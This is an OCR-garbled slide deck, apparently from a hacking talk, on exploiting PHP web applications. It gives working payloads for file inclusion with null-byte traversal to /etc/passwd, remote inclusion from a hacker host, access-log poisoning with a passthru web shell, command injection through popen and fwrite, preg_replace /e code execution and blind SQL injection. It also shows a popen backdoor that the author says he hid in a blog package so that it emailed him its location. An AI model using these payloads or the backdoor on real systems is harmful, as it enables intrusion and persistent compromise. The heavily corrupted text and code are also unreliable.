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Wihat Is a “\WenApp*?

I sefitware engineerng, a Welrapplication—semetimes
called a welhapp and much less fireguently’ a
Weblicatien-—Is anrapplication that's accessea Withra Web
BrEWSEr GVEN a hetwork suchi as the lnternet or an
Intranet. \Wels applications are popular due o the
UbIguIty’ of the: brewser as a client, sometimes; called a
AR client. Tiae anility’ ter Updater and maintai Web
applicatiens witheut distrbuting; andl mstalling sefitware
OnR potentially’ thousands o client cCompuULers Isia Key.
reasen for thelr pepulanty. Welkrapplications are tused to
Implement welbmail, online retail sales, online auctions,
WIKIS, discussion beards, Weblogs, MVIORRPGS, and many.
other functions.




What Is a “WebApp*? (cont.)

\Wel applicatiens can e WHtien 1n many.
different languages. The mest popular
languages woeuld haverto be .asp (Active Server

Pages), .phpi(
Pl (pen). Init

PHPHYpertext Preprocessor) and
IS presentation We are geing to

fiecus; speciiically: on PHP hased Welr applications
PECAUSE Of thelr Widespreaad Use: and populanity:
Alse lhecause: off the recent attention to this
category the security industry has put on this

SubJect.




Intro To PHP

PHP IS aninterpreted language meaning that It's seurce
IS net compiledl at runtime But rather “Interpretedr by an
“nterpreter”. PHP'IS pepular because ot oW easy. it IS
10 guickly’ coder relust applications fier Varous PUrPeSES.
PHP has thousands; ofi Internal functions. There isia
funRction: e everining Youl could ever imagine: i PHEP:
his broad rage of teels i the PHP language: IS  another
reason It IS, sei pepular. PHP’S functiens, are iits greatest
asset but also Its' greatest Weakness In the fiact that
IMProper or unregulated use of certain functiens; can
cause unwantead effiects. We are geing te talk anoui
some of those functions In this' presentation.




Eunction Exploitation Overview

IRl pregramming a function IS Used! te do) some sert of
calculation er precedure When calledi upen by the
program. The reasen functiens are used IS hecause! It
allows the pregrammer theranility tor perferm| the same
iask over and ever again Witheut neeading te copy: and
paste the same code over and over again. The
pregrammer Just Writes the filnction; ence and then calls
it any. time It ISTneeded. Lets fiist ger ever some: truths
abouit flnctions. You need to understand functions in
order tol ve able to explolt them. The more yeu Khow.
aPeUT a functien and new! to: manipulate It the larger
youlr expleitation toolset grows.




Truths About Functions

Eirst, functions ALWAYSI return something,.
Second, functions DO NOTF always have: parameters.
Third, a function does what It IS told to doe. It ALWAYS follews the rules.

INow: the key here Isi to knew: what rules; the function isi playing by. [f you
knoew, all of these rules then you willl knew: hew: to: manipulate the rules te
get a desired result. You CANNOIT break any: ofi these rules. That Is the
essence of hacking, beinglable te gain a desired result while' stillf confierming
to all the basic rules of the system. Errers occuli When pregrammers try to
sl rules upon' the system without properly: checking to) see! ifi these rules
confilict with! the systems inherent rules. When yeu try to overrde the
systems Inherent rules you need ter make sure that yeur rules; still abide by
the inherent system rules, or else you will have errers, It IS the nature: of
software. Ok new:lets take a leok at seme functions that are used in PHP.
and lets see how: they: are used.




Example: Stristr()

The Stristr() function in PHP is used' to sort threugh long strings to find! the first occurrence of
“needle™ in“haystack”. It expects two string variables as parameters andl recursively searches
the “haystack” for the “needle”. Here is how the functioniis laid out:

string stristr ( string haystack, string needle ) Returns all of /aystack from; the first occurrence. of
need/e to the end. needle and fhaystack are examined in a case-insensitive manner. The function
stirstr() Is used fior case-sensitive searching. Here is an example in code of how: this function Is
used:

<7php
$name = 'USERNAME';

echo stristr($name, 'e");
7>

The first parameter that is passed is the contents of the string variable $name, and the second
parameter is “e”.

IT you were to run that script it would output “ERNAME” (witheut guotes). That's because the
first occurrence of “e” was right after the S int USERNAME, so everything after and including the
“E” was displayed.




Eunction Exploitation Overview

Ok new that' you've: seen an example: of
ROW, TURCHIONS are set uprand used in PHP
lets) take: a loek at some: of the iUnCHeRS
uhat We' can manipulate te; gain access) to
a SyStem or perform Seme: sert of other
devieus act. Here s a list off the functions
we Will e’ coverng Inrthis, presentation:




Expleitable Function List

ncluee()

nclude ence()
reguire()
reguire_once()
eval()

preg. replace()
fwrite()

passtiru()
file_get_contents()

shell_exec()
system()
mysgl_guery()
fiopen()
readfile)
glon()
pepen()

fine

exec()




Remote / Local File Inclusion
EURCHIGNRS / BUQgS

nclude() mclude._ence()
require() require.once()




EUnction: Descriptions

nclude() / require()

EFiles for including are first looked in include_path relativerto the current working directory.
and then in include,_pathrelative to the directory of current script. E.g. If your include_path
IS ., current woerking directory Is /www/, you| included include/a.php and there is /mclude
D.poprin that file, b.phpis first looked! in /iaww/ and then: ik /Aaww/include/. Iif filename
pegins withi./or ../ It 1s looked only In include_path relative to the current working
directory. When a file is included, the code it contains inherits the variable scope of the line
on whichi the include eccurs. Any vanables available at that line in: the calling file will be
available within the called file, from: that point forward. However, all functions and classes
defined in the included filer have the global scope.

include_once() / require._once()

The include_once() statement includes and evaluates the specified file during the execution
ofi the script. This Isi a behavior similar to the include() statement, withi the only difference
being that If the code from a file has already been' included, it will not be included again. As
the name suggests, it will be included just ence. include_once() should' be used in cases
where the same file might be included andl evaluated mere than ence during a particular
execution of a script, and you want to be sure that it is included! exactly once to aveid
problems with function redefinitions, variable value reassignments, etc.



What's the Difference?

IACIUdE™ fUnCLeRS When: called wWithra nen-
existent file: return Withran erroer and the
liest of the: scrpt continues oni being
executed.

[eguire™ functiens When called withara nemn:
existent file returm Withra fiatal enroer and
e rest of the scrpt Is noet executed.




Hew: can we manipulate these

functions?

Ok we know! these: files are used: to
Includeriocal PHPE files and! remote: PHP
flles. Weralsp knoew! that this fiunction

takes only ene argument, the
Aame: off the file to ve Included.

Pathrand
INOW Il

IS file was remotely hosted t

1en the

pathrwould e supstittted Withrthe URL of
the file. Ok well hoew: Is this had?




Exploitation; Example

Ok So here we have 3 files, a.php b.php and c.php. As we can see a.php
includes b.php which in turn includes c.php. And this is totally fine the script
works perfectly well. If you were to run the a.php script you would get 4 outputted
to your screen. The problem lies in the b.php file. Lets take a closer look at this
file:

a.pnp b.php C.php

=7php <?php =?2php

S include($c.“.php?); | $e=1:

include(“b.php?); L )
$a = 245 $d = $e+1; e

echo $d: 7=
7>




Exploitation Example
(register_glohals)

The a.php file sets, the $c variable prior to calling the b.php file. Then in the b.php
file it includes whatever Is ini the $¢ variable fellowed by “.php”. Well what's the
problem you ask? Well ther preblem isn't in the code. The code works fine. It
fellows all the rules but It deesn’'t take Inter account that semeone could access the
p.php filerdirectly. Welllwhat's wreng with' this?

The answer is a little: thing| called! register_glebals. This means that wheniallowed
any variable can be set via a reguest made by the client. \Whenregister_glebals is
off it turns off the ability of variables to e set with a reguest from the client. Well
our $c variable is set prior to being used inithe: b.php file but i scmeone were to
access b.php first instead ofi a.phjp and if register_globals is en; (whichi it is by default
on all'versions prior te14.2.0) then we can change the value of $¢ to anything we
want. Ok so now: how derwe exploit this?

Easy, all we have to do is access the script directly. Say the webapp is at
wwww.Bla.com/a.php. WellFall'we have te deiis ge: to Www.bla.com/b.php and
depending upon their php.ini settings we: are: either greeted withi a blank page or a
page with an error. So new knewing that b.phpiisiexpectingl something in the $¢
variable we can manipulate that $c variable by just adding it to eur URL:
www.bla.com/b.php?c=bla andiwe willbe greeted with another error stating that
bla.php doesn’t exist. Ok so we know: that its trying to access locall files.




Exploitation Example
(magic_guotes_gpe)

So what it we make “c=a*? Lets try It: www.hbla.com/b.php?c=a Ahhilook at that
the script runs perfectly fine andi a 4 gets outputted! to, our screen. Ok so what if we
do “c=../..[..[.. ..[..]..]../etc/passwd’? \We get an error. OK Its giving Us, an error
pecause Its thyingl teraceess: ../L.. .1 L. . . /ete/passwdl php Which! clearly doesn't
exist. The ../../'s are the so that the script wWillrhepefully: drop hack fiar enough in the
directory: structure to get to the /etc/passwd file. But were getting| stopped! hecause
its adding “.php” to the end off everything Were trying to get after. So we need to
figure out a way to get rid ofi that ending “.php”. Well how do we do that?' The
answer lies in the magic_guotes, gpc setting ini php.ini. Magic_guoetes_gpc Is
basically the equivalent to calling the addslashes() function onievery user supplied
variable. The GPC stands for Get, Post, Cookie. Now.if: Maglc guotes _gpc IS On
there's nething we can dorexcept include local files that end “ php”. But i its; off we
can include lecal files by adding a null byte to the string|we are injecting to. In PHP
a null'or EOL (end of line) character Is translated to a “\n¥’. Well the hex equivalent
to that 1s %00. So in eur string I we do
b.php?2c=../1..1../..[..[../..]..[..[etc/passwd Y00 Our script includes the /etc/passwd
file. We'can include remote! files as well. 1o do that all we' have teido is have the ¢
variable contain a URL te our PHP' script. Example:

. php?c=hitp://www.hacker.com/evil notice how: I don’t put “.php™ at the end
pecause I know the script already dees this. New! if I wanted to add the “.php™ at
the end I'd have to be sure | added! the %00 after it to null' eut the string. Ok now
lets say fior example you findla senver that Is vulnerable but it went let you include
remote files because allow._remote fepen Is turned off. So what can you do?




Exploitation Example
(access) leg Injection)

Easy. You can Inject PHP code inte the access logs of the server. To do that all you
have to do is simply construct a GET request with'PHP cede in it. Example:

$CODE ="<?php ob_clean();echo

START;$ GET[ecmd]Estriplashes($_GET[cmd]);passthru($._GET[cmd]);echoe
START:die;?>";

$content.="GET /path/*.$CODE." HTTP/1.1/n";

$content.="User-Agent: “.$CODE."/n";

$content.="Host: ".$host."/n";

$content.="Connection: close/n/n™;

This code Is then sent to the server via a socket request. The server then logs the
attempt in Its access logs. Theniall that’s left for the attacker to doiis acecess the
access logs via the local file inclusion. | the attacker Is successful and the access|leg
IS included 1t will runi the PHP code as legitamate PHP cede.  This will allow: the
attacker to run commands; on the server without having te include: a remote. file.
Thus the attacker woeuld be able to leverage even more attacks on, the server. Again
you have te have magic_guoetes gpc off and register_globals on to achieve Success
with these exploits. Grantedi seme webapps have anti-magic_guote code and anti-
register_glebal coede so you'll just have to keep an eye out for them.




Remote / Local Commana
Execuition EUnctiens;/ BUgs

eval() pepen()rexec() passthru()
shell_exec() system()




EUnction: Descriptions

eval()

mixed eval (' string| code_str )

eval() evaluates the string given in code_str as PHP' code. Among other: things,
this can be useful for stering|code: in a database text field! for later execution.
coge._ str-does not have to contain PHP Opening tags.

There are some factors to keep inf mind wheni using eval(). Remember that the
string passed must be valid PHP cede, including things like terminating
statements, with a semicolon so the parser deesnit die oni the line after the

evall(), andf preperly: escapingl things, ini coge. str. Termix HIML eutput and PHP
code you can use a clesing PHP tagl to leave PHP moede.

Alse remember that valiables given values; under eval () will retain these values
I the main scrpt akternwvards.

exec()
string exec ( string command [, array &eutput [, int &return_var]] )

exec() executes the given comimarnd.

popen()

resource pepen (C string command, string mode )

Opens a pIpe to a process executed by forking| the command given by command.

Returns a file pointer identical to that returned by fopen(), except that it Is
unidirectional (may only be used for reading or writing) and must be clesed with
pclese(). This pointer may be used with fgets(), fgetss(), and fwrite().



EUnction: Descriptions

shell_exec()
= string shell_exec ( string cmd')
passthru()
= Void passthru (string command [, Int &return_var] )

The passthru() function is similar to the exec() function; in that It executes a
comimand. This function sheuld be used ini place of exec() or system() when
the eutput from the Unix command is binary data which needs to e passed
directly back to the brewser. A commen use fior this Is, to execute something like

the pbmplus utilities that can eutput an Image stream directly. By setting the
Content-type te /mage/giand then calling a pbmplus pregram te eutput a gii,
you can create PHP scripts that output images directly.

system()
= string system (' string command [, int &return_var])

system() Is just like the C version of the function in that it executes the given
comimand and eutputs the result.

The system() call'also tries to autematically flushi the web server's eutput bufifer
afiter each line of eutput it PHP is running as a server module.

It you needi to execute a command and have all the data from the command
passed directly back without any interference, use the passthru() function.




eval() Exploitation Example

For this example were going to leek at the vulnerability in the Herde webmaill system. This was
released a while back and'is a geod bug for explaining| the exploitable uses of this function., Ok in
the Horde webapp files was a help viewer that allowed the user to view: the help files. Well here
IS the vulnerable code for that help file:

} elseif ($show == "about’) {
reguire $fileroot . ‘/lib/version.php’;
eval("$version = ™ . ucfirst($module) . ' * . " . String::upper($module) . * VERSION;");
$credits = Util::bufferOutput(‘include’, $fileroot . /docs/CREDITS');

$credits = String::convertCharset($credits, '1so-8859-1", NLS::getCharset());
reguire HORDE _TEMPLATES . Y/help/about.inc’;

Ok so we can see that if the $show variable contains “about” then it requires the /lib/version.php
file. All that file does Is define the constant HORDE _VERSION. So we don't need to worry about
that. Ok well the $module variable gets used in the eval() function it’s the only variable that does
get used. But its passed to the ucfirst() function. Well all the ucfirst function does Is capitalize
the first letter off whatever string gets passed to it. So Its not deing| any type of checking on the
$moedule variable at all. So to exploit this all we have to do is inject php code into the $Smodule
variable. Keep in mind that we have to follow: the syntax of the function. We can't just stick
“system($cmd);” in there. We have to follow the syntax of how: its usedl in the file. So the eval
function uses single guoetes so we would have to inject something fellowed! by “ so that it cancels
our the $version eguals part of the string. So if we take a look at the metasploit expliot for this
bug|we see that it uses: ;"*.passthru($byte);’. For intputing| into the $module variable. So it sends
a ; then the close quotes then it executes the passthru function with variable $byte. It then has
the single guote to cut the string offi fellowed by a period to add the rest of the remaining string
to it. | advise playing with this exploit a little bit so you can fully understand how: it works.




popen() Exploitation Example

This function Is used by PHP to communicate with the underlying|system. What this function
does Is takes whatever command youl give it andi executes it on the underlying system. Its
similar to system() and exec() except it forks new. processes on the system. Here isian example
off a backdoor made with the pepen() function:

$handle/= popen(filed ." 2>&1", "r);
while(lfeof($handle))d

$line=fgets($handle);

if(strien(Sline)==1){

echo”$line<br=";}}

pclose($handle);
mail($ad,”".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF,");

Ok so say youl get onto a system and want te keepr access without getting| caught. You find a
PHP file you can write to;and you drop this code inte ini between functions. What this cede does
IS takes $filed (your command) and runs; it through popen(). It then eche’s the output to the
screen. Once its done it sends an email with a path te the URL and path to the file. | added' this
code to the simplePHPBlog script. So ence anyone. installed it the script it would send an email to
a dodgeit.com email address. Then I'd check the dodgeit.com email address with ani rss reader
and' in' the subject of the mails it would say the URL and lecation of the file. And whatever user
emalls you is the user that your permissions are on. So it was pretty cool while it lasted.

Problem was dodgeit.com mail addresses only keep the newest 50 emails so you have to
constantly check it if you door some source code like that. Anyways here is an example of a
vulnerable popen() function in some code:




popen() Exploitation Example

=2php

/*
Systemi InforRetrieval WelApp
*/)

Sliare| = $. POSTI['uarg];

iff (lisset($_POSTI'submit]))

echo “<html>";

echo “<head=></head=>*;

echo "<hbody>";

echoe “<h3=Wichrsystem infermation de you require?</h3>";

echo) *=a all<br=-1 Kernel Identity<lr>-m Hardware=<br=-n System Name=hbr=-p) Processor<br=>-1 Release Level<br>-s Operating| System<hbr=>-v.
Version<br=<br=";

echo “<form method=\"post\* action=\"test. php\*>";

echo “eption:<br><input type=\"text\* name=\"uarg\* size=\"2\" maxlength=\"2\"><br=";
echo “<input type=\"submit\* value=\"Submit\* name=\"submit\*>";

echo “</form=";

} else {

Shandle = popen(“Uname $uarg| 2=&1", “1);
while(!feof(Shandle))

{

Sline=fgets(Shandle);

ifi(strien($line)>=1)

echor'sline<br="

¥

}
pclose($handle);
¥

7>




popen() Exploitation Example

Ok sorwhat thisiprogram dees, is great the user with a wel form that asks them what type of system
Infermation they want to get. There are various eptions that the user can nput. Ifiwe look at the
source code of the web ferm: by going te our browser and doing a “view: seurce” we netice that they,
restrict the text box to a max length off two characters. Ok so lets see ifi they: restrict the option that we
put 1. Soi i we put in —z we get an error that leoks like this:

uname: illegall option -- z
usage: uname: [-aimnprsvj

Ok s we know! that our optien is getting| passed straight to the uname command. And we should know:
that using the ; character in *nix allows us to group multiple commands; tegether. So i somehow: we
could moedify: our option to be'say —a;id; wed be able te see our' id as well and run commands on| the
target system. So how do we do this? Easy, yoeu can use either the Fire Fox plugin Live HTTP Headers
or anether plugin Tamper Data. | use hoeth for various things. Both teels allow you te medify pest
requests ini real time and then send them te the server. Se'we whiprup our Tamper Data and tellfit to
start monitering. Then we type —a into the box. Tamper Data Alerts us that we are about te send a
post reguest would'we like to modify: it. Se we modify it se that we can fit more characters; into: the
variable uarg. So we put —z;id;pwd; inte the uang slot injour Tamper Data form and we get this:

uid=1337(ReZEN) gid=1338(ReZEN) groups=31337(xarcrew), 0(wheel)
/home/nasa_wel/public_html/nasa_webadmin_console/

That was exploitation of the popen() function without even knowing that popen() was being used. We
Just used some educated guessing and the system responses to figure out a vulnerability in the app.
Live HTTP Headers and Tamper Data along with one of the various Cooekie Editor plugins for Fire Fox are
invaluable in webapplication auditing,.




exec(), shell exec(), passthru(),
system() Exploitation Example

fhese flinctions; are pretty’ selii explanatony
and yeu weuld exploit theni Infthe: same
manner as; the pepen() example. I you
See these functions 1N some: code Just Ioek
o) any: Varanles that ane tused in them
and i yoeul have access 1o these Varanles.
I youl de then have fun.  Just make sure
that yeur fiellewing the correct syntax
when exploiting these functiens.




Elle / Eile System: Eunctions; /
BUQGS

gleh () wrte () fopen(): readiile()
file_get_contents() file()




EUnction: Descriptions

array gleb ( string pattem [, it flags] )

= [he glob() function searches for all the pathnames matching| pattern according to the rules
used by the libc glob() function, which is similar te the rules used by common shells. No
tilde expansion or parameter substitutionIs dene. Returns an array containing the matched
files/directories or FALSE on error.

Int fwrite ( resource handle, string string [, int length] )

a  hwrite() writes the contents ofi string to the file stream peinted to by fandle. It the /ength
argument is given,, writing will stops after /engih bytes have been writteni or the end of string

is reached, whichever comes first. fwrite() returns the number of bytes written, or FALSE
On| error.

resource fepen ( string filename, string mode [, bool use_include_path; [, resource zcontext]] )

a fopen() binds a named resource, specified by filename, to a stream. If filenameis of the
form “scheme://...", It isiassumed to be a URL and PHP will search for a protocol handler
(alse knewn| as a wrapper) for that scheme. Ifi no wrappers for that protocol are registered,
PHP willlemit a notice to help you track potential problems in your script and then centinue
as thoughi /ilenamespeciiies a reqular file. 1 PHP has decided that fi/lenamelspeciiies; a local
file, then it will'try to epen a stream on that file. The file must be accessible tor PHP, so you
need to ensure that the file access permissions allow this access. If youi have enabledi safe
mode, or open_basedir further restrictions may apply. 1f PHP has decided that #ilename
speC|f|es a registered protocol, and that protocol is registered as a network URL, PHP will
check tor make sure that allow_url_fepen is enabled. If it is switched off, PHP will emit a
warning and the fopen call will fail.




EUnction: Descriptions

Int readifile ( string filename [, ool use_nclude path [, resource context]])

= Reads afile and writes it to the output buffer. Returns the number ofi bytes read from
the file. If an error occurs, FALSE Is returned and unless the function was called as
@readfile(), an enror message is printed.

string file_get_contents, ( string filename: [, bool use, Include, path [, resource
context [, int offset [, int maxien]]1] )

n ldentical to file(), except that file_get contents() returms the file in a string,
starting at the specified ofiset up toe maxien bytes. On failure, file_ get contenits()
will return FEALSE.

array fifle ( string| filename [, int use._Iincluder path [, reseurnce context]] )

= |dentical to file_get contents(), except that file() returns the file in anarray. Each
element of the array correspends to a line i the file, with the new: line still attached.
Upon failure, file() returns FALSE.




gloh() Exploitation Example

Ok this function Ifve rarely seeniused bui |
use It anytime: I need toe) list files or search
a directony.. It's a geod functieon ter put
e PHP shells incase: the “find™ or
“ocate™ systeni commands; den't Work.
ARyways: the function takes: 1 parameter
and here:s a simple example: app that's
gleh () function| s vulnerable:




gloh() Exploitation Example

Ok inithis, example thera.phpfile ncludes the g.php file te list all the first in
the “Iimages” directory. And If youraccess the'g.php file directly’ you get a
blank page. Well this istbecause ofi the isset() function. It is Used to
determing IiFavamable is set before usage. It takesi one parameter, the
varable, and returns either TRUE or FALSE depending of that varakble
contains anything. So how: do We bypass this?

aphp g.Php

<7php

<?php If(Isset($dir))

$dir = “images’”; {

include(“g.php?); foreachi (glob(Sdir) as Simage)

echo “<br>That's All ‘

echo "$image<br=";

FO”(S"; 1
V> 7>




gloh() Exploitation Example

Simple the isset() function doesn't check to see what the variable contains only that in contains
something. So we can fill the $dir variable with anything| that we'want. Here is an example:

hittp://www.bla.com/gallerylist/g.php?dir=/etc/*

What that dees Is list every file and directory in the /etc folder on the target server. Now the cool
thing aboeut this function is that it you dos things like:

hittp://www.bla.com/gallenylist/g.php?din=/>/>*/*/>/

What that will doiis list ever directory starting inithe / directory and going four directories deep in
every directory. Ifiyou want it to list ever file in every: directory going four directories deep all
you'd have to do Is an one more star on the end like this:

g.Php
<?2php
Ifi(isset($dir))
{
foreach (glob($dir) as
$image)
{

echo "$image<br=>";

I

7>

hittp://www.bla.com/gallenylist/g.php?2dir=/>/>/>/>*/*

What cani you do with just directory infie; though?' \Well

You can do guite a lot., Like figure out what bins are on the
system. FEind hidden directories ini ether sites. Find out user
names via home directory names. All kinds of stuff.




wrte() Exploitation Example

This functien IS Used te write te data toi files. It usually
takes 2 arguments, the filerpointer supplied: by fopen()
and the contents te be written/ter the file. Now this
vulnerability depending on the type of file heing written
can have some potential. lfFwer can write tera PHP file
We: can create a simple shellland execute commands. If
We: can wrte a X file'we can' potentially: deface (LAME)
QF We cani use: that text fileras a shell file fier include: file
Bugs. This would helprus mask our identity just a little
pIt moere. Here Is an example: | found in the wild of this
ty/pe of hug:




wrte() Exploitation Example

Ok S0 In| this example were using the Wwimpy. trackplays.php vulnerability, |
founaia whillerago. It's a lame vulnerability but it helpedime: eut With
aUuteoHACK., Anyways here Is seme: important cede in the file:

StrackFile = urldecode($. REQUEST[ theFile™);
$trackArtist = urldecode($_REQUEST] theArtist]);
StrackTitle: = urldecode($_REQUEST| 'theTitle ]);
StestFile = “trackme.txt™;

Ok we can see here that those first thrree variables aren’t sanitized at all. it
takes whatever you give it. New! lets look at the next important lines:

$theContent = StrackEile. \n". StrackArtist. "\n™. $trackTitle. " \n/";
strstr( PHP_OS, "WIN™) ? $slash = "\\" : $slash = "/*;
writeTextFile2(getcwd! ().$slash.$testFile, StheContent, ‘wW+");

Ok that takes our Input and' groups It INto one string seperatedl by new: line
formating characters. Then it calls its custom function write TiextEile2().
Here are the important lines in this function:




wrte() Exploitation Example

Ok in this part of the function it opens the test.txt file with the w+ condition which means to read and
write and create it if it does not exist. Ok then it writes our content to the file, and then it chmods the
file with the 0777 permisions so it can be viewed / edited by all. So to exploit this you just do:

/wimpy_trackplays.php?myAction=trackplays&trackFile=<?php&trackArtist=system("uname -
a;id;");&trackTitle=?>

Then you just go to where your wimpy_trackplays.php file is and replace wimpy_trackplays.php with
test.txt and you should see your shell source code.

it (1$fp = fopen($theFileName, $openCondition)) 4

$retval = FALSE;

I
if($retval){

i (USfilewniter = fwirite(Ship, stripslashes($enterContent))) 4
Sretval = FALSE;
exit;

} else {
I

@fclose($p);

$retval = TRUE;

return $retval;
@chmod ($theFileName, 0777);




iopen() Expleitation Example

Ok this function takes two arguments the first being the file or URL to be opened the
second being the condition the: file Is to be opened. In this case the $url variable has
not been sanitized at all'and/is being used directly’ i an fopen() call. The file' peinter
for the file is, then fed inte the fpassthru() function wWhich reads until the EOCE is
reached and sends the contents of the file te the eutput bufifer.

url.php

<?php

$fp = fopen($url, 'r");
fpassthru($fp);

7>

To Exploit this all' we would have to do is go te url.php?url=config.php: or
url.php?ur=http://mww.goegle.com for a proxy. Exploitation of this functien IS
pretty straight forward, you just have to be sure youl follew syntax and watch how.
the file peinter Is used afiter the fopen() call.




readfile() get_file._ contents() file()
Expleitation

Exploitation of these functiens! IS pretty, stiraight fonvard
as Well; Just e sure tormake nete of syntax and that you
lIaVe aceess, to) the: file being read and Wiat happens to
the data that Is read. There are a fieWw other functions te
take note of thioughi in the EILE / EILE SYSTEM Category/
and they: are firead((), fgets(), fiputs(),

put_file” centents(), mdir(), rename() as well as;many:
ethers. There simply’ Is het eneug tine to cover each
one off them inidepth. Ifm; enly: tiying te CoVer the majol
/. MOSE COMMOGN ONES I'Ve come across, I my: own
auditing experience.




Local / Remote Command
Execution with preg. replace()

This type off vulnerability, 1S my/ faverite type,
Pecause of how: the preg. replace() fiunction

Works inPEP:
WOrKS and to
expert at it. |

NOT many peop
ne honest I'm sti
ts not hard to be

don't fiully:Unc

e Know: Now. It
I'not L00%: an

leve that people

erstana this though because: In

MY/ Searchi fer infermation; akoui this: filnction: |
feund VERY little in the ways off documentation
el how! ter actually’ explolt this thing. Bui
eventually I figuread it out (I think)." Anyways
ONto the description:




EUnction: Description

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit
[, int &count]] )

Sealches supbject for matches to patieriand replaces; them withy rep/acerment:
Replacement may contain| references oii the formi [i7'or (since PHP 4.0.4) $7,
with the latter form being the preferred one. Every suchrreference will e
replaced by the text captured! by the /ith parenthesized pattern. /7 can be from 0
1099, and |10 or $0 refers to the text matched by the whoele pattern. Opening

parentheses' are counted from left to nght (starting firam 1) te ebtain the number
of the capturing| subpattern. When working with a replacement patternwhere: a
backrefierence is immediately follewed by another number (i.e.: placing a literal
number immediately, after a matched pattern), you cannet use the familiar 117
notation for your backreference. 1717, for example, would confuse
preg_replace() since it dees not know whether you want the 117 backreference
fellowed by a literal Z, or the 1177 backreference followed by nothing. In this
case the solution Is te use |${7 L7, This creates, aniisolated! $7 backreference,
leaving the 7 as a literal. I subjectis an array, then the search and replace Is
perfermed on|every: entry of subject, and the returm value is anrarray: as well.
The emodifier makes preg.replace() treat the replacement parameter asi PHP
code after the appropriate references substitution Is done. Tip: make sure that
replacement constitutes a valid PHP cede string), otherwise PHP will complain
about a parse error at the line containing preg_replace().



Expleiting preg_replace() the
journey: begins

Ok first things first.” We have te have a goed knewledge of
PCRE syntax, which IMHO the dumiest thing alive. Eor a
goed guide tor PCRE syntax go te:

Abup://MWaW. Zzend.com/manual/relerence. pere. pattern. syntax.
php

Ok so now: that weVe goet that We need toloek at hoew! the
preg_replace filnction werks. It takes siarguments, the
pattern te leok fier, the: stringl te replace: the resulis with' and

uhe variakle te)searnch. Ok serhow: derwe exploit a filnction
that searches strings let alone get It to execute: commanads?




Exploiting preg_replace()

A little lesser known'pattern option in the PHP syntax. HHere are the
cCommen pattern optiens:

for PCRE_CASELESS
for PCRE_MULTILINE
for PCRE_DOTALL
for PCRE_EXTENDED
for PCRE_UNGREEDY
for PCRE_EXTRA

There Is another lesser knewn eptien, the “e” option. When this
option| is used ini a preg_replace() function; It takes Whatever s 1n
the replacement argument and eval’s it as PHP cede. So i youl can
modify the pattern and the replacement variakle contents then you
can execute commands on the target system. Lets dissect an
exploit to see how: this works:




Invision Power Board <= 2.1.5 “lastdate” Remote
Command’ Execution

Ok well this exploit uses the a call to the preg_replace() function to execute! Its
arbitrary code. Now: I'don't have a copy of the eld IPB source so il you cani find it
iellow: the $lastdate variable all the way threugh the search.phpifile. You will
eventually find the vulnerable preg. replace() function. This exploit is; similar to the
phpBB RCE vulnerabilities out there. So I advise researching them both. Anyways,
What happens with this bug Is that the: exploit:

http://smavw. milwOrm.com/exploits/1720

Eirst creates a user, then logs in and searches to find a search id. Then It searches
InpUtting this: z|eval.*?%20//)%23e%00'; inte the lastdate variable. | you noetice at
the endithere the lave %23e%00; that translates tei #e/0; So in a preg.replace
function ne matter how! its intentionally: used It adds #e and clears out the rest of
that parameter. That then makes whatever Is inj the replacement part gets executed
as PHP cede. Which in this case Is part of a profile that is set when the exploit
creates a user. You have to be sure though when trying to exploit this function that
your syntax Is perfect. And with preg._replace() functions its very difficult because of
the PCRE shit. So just remember that and alse the target system MUST have
magic_quotes_gpc disabled for you to be able to exploit preg_replace() bugs.




SOL Injectien EURctions/
BUQGS

mysgl’_guery()




EUnction: Descriptions

resource mysql_guery. ( string query [, reseurce

link_1dentifier] )

s mysdl_guery() sends a query. (to the currently:
active dataldase onl the Server that's asseciated with
the specliied /K _jaentiier).




mysgl_queny() Exploitation
Example

Now! there: arerMANY MANY  resources out there
10 help you with SOL injection se) this will e a
prer example. Ok for this example I'migeing toe
use the IPB 2.1.5 PMisystem SOL Injection
Exploited Coded by the Ykstortion Secunity
Team. [ like this exploit because It'sia blind SQL
INjection attack and It USEsS, a smalit way: of:
actually exploiting a bug that mest others would
find useless. Soi i etherwords Its) Very. clever.
Ok so lets take a look at this exploit:




mysgl_queny() Exploitation
Example

What this exploit deges is/inject an SOL guery: in the $fiom_contact
variable in the PM system. The way its used! though makes; it tricky.
See in IPB the guery goees te a table grabs the username oui ofi that
table and returns It. That way the' message gets sent to the correct
persen andiits fromi the correct persen. Wellfor the message to) get
sent correctly it has to be from a valid user on the system. So ne
maitter What the guery ias to return;a Username. or no Infiermation
IS displayed except fior syntax errors. So here s what they did.
They teok the exploit and injected code that checked each character
I a value inf the database: by using MySQL's MID() function; and i I
maitched It returned the exploiters username so the PV weuld get
sent to himself from himselfi. Then the exploit wouldl check to make
sure the message got sent. I it did then It knew what that
character was. So it brute forced the value in a way. Se they used
that to brute force the password hash' and I modified It to brute
force the validation hash. Keep in mind when doing SOL injections
that you have to have the correct number of columns in your
SELECT statement. That Is why you se exploit with; Select
0,0,0,0,0,0,passwd,0,0,0.




Application; Assisted Auditing

Application; Assisted Auditingl means; that yeur usingan
applicatien to assist you ini the auditing process. New
for auditing source code many: beginners Use the unix
grep tooel ter quickly go: throtighr and pick eut the things
they want. Tiisiis allwellfand geod! but yeu donft get a
SEense of how! the program Is laid eut and hew! the
Inaividuall parts fit tegether as a whole. This Is needead
I Order to figure ouit complex vulneranilities. And for
PHP hased auditing there s no greater teol then
PHPXRef. lts available for firee on source forge. This
Pregram; Cress references: everything, and I mean
EVERYIIHING. It traces vanables and fitnction calls the

Wwhele works: It Isi probably: the #1 teoel in my Wel
auditing toel Kit.  You can jump te key’ pieces In the code
see what's called where and what happens to It acress
np]ultiple files. It’s the greatest thing. So defiantly check
that out.
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Ol n0hz O-day giva AwAayill

["Was g00na give away: seme: sweet 0aay,
ere but | thought “iHey I just: teld them
eW, tergoer audit PHE apps. Wiy net |et
them find 1t.” So/ | decided not to release
the 0-aay but I'will give'yeu a clue there
IS a Remote Command Execution (Witheut
QIR 1A an appr that's name: starts WithrC
and ends With: panel. "Se mayne you
should check It out. kthxbye




